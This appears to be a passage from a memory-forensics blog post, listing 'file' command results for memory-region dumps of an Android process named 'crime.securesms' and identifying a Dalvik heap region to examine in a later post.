task.17145.0xa0b30000.vma: AIX core file fulldump 32-bit, \377\377\377\377\376\376\376\377\376\376\376\377\376\376\376\377\377\377\377\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376 64-bit, \376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376\377\376\376\376
task.17145.0xa1f33000.vma: FoxPro FPT, blocks size 1305, next free block index 1048
task.17145.0xa1f39000.vma: MS Windows icon resource - 2 icons, 2x, 1-colors
task.17145.0xa2487000.vma: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped
task.17145.0xaf013000.vma: MS Windows icon resource - 2 icons, 2x, 1-colors
task.17145.0xaf2b2000.vma: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, stripped
task.17145.0xaf428000.vma: lif file
task.17145.0xb0fd6000.vma: 8086 relocatable (Microsoft)
task.17145.0xb3552000.vma: FoxPro FPT, blocks size 0, next free block index 276828288
task.17145.0xb3554000.vma: FoxPro FPT, blocks size 0, next free block index 1
task.17145.0xb3556000.vma: FoxPro FPT, blocks size 0, next free block index 1
task.17145.0xb3558000.vma: FoxPro FPT, blocks size 0, next free block index 255
task.17145.0xb35de000.vma: FoxPro FPT, blocks size 0, next free block index 14704051
task.17145.0xb35e0000.vma: AIX core file fulldump 32-bit, \371\211 64-bit, U-c\240\300\2454p;
task.17145.0xb4800000.vma: dBase III DBT, 1st item "qA"
task.17145.0xb5049000.vma: MS Windows icon resource - 2 icons, 3x, 4-colors
task.17145.0xb504c000.vma: FoxPro FPT, blocks size 0, next free block index 3697477888, 1st used item "\023"
task.17145.0xb5052000.vma: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped
task.17145.0xb5057000.vma: FoxPro FPT, blocks size 0, next free block index 7341493
task.17145.0xb5058000.vma: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped
task.17145.0xb505c000.vma: FoxPro FPT, blocks size 50606, next free block index 12584373
task.17145.0xb505d000.vma: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped
task.17145.0xb529b000.vma: dBase IV DBT of PROP\253\320n\374.DBF, blocks size 1059, next free block index 39216, 1st item "alno"
task.17145.0xb5d94000.vma: AIX core file fulldump 32-bit 64-bit
task.17145.0xb5e9c000.vma: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped
task.17145.0xb5e9d000.vma: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped
task.17145.0xb5f4a000.vma: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped
task.17145.0xb62cd000.vma: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped
task.17145.0xb673c000.vma: FoxPro FPT, blocks size 0, next free block index 12612534
task.17145.0xb6748000.vma: FoxPro FPT, blocks size 0, next free block index 8418486
task.17145.0xb6ba3000.vma: ELF 32-bit LSB  shared object, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped
task.17145.0xb6bf3000.vma: FoxPro FPT, blocks size 32831, next free block index 3194806
task.17145.0xb6e1a000.vma: MPEG ADTS, layer I, v2, 16 kHz, Monaural

task.17145.0xb6eee000.vma: AIX core file 32-bit 64-bit

Taking a deeper look and playing a big with 'string' I finally found that that the interesting file is ‘‘task.17145.0x12e01000.vma’ (highlighted in yellow) which references to block of memory:

0x00000000ed175500 17145 crime.securesms 0x0000000012c00000 0x0000000012e01000 rw- 0x0 0 4 9397 /dev/ashmem/dalvik-main space

Now we know where to start looking at. During next post I will analyse the content of file.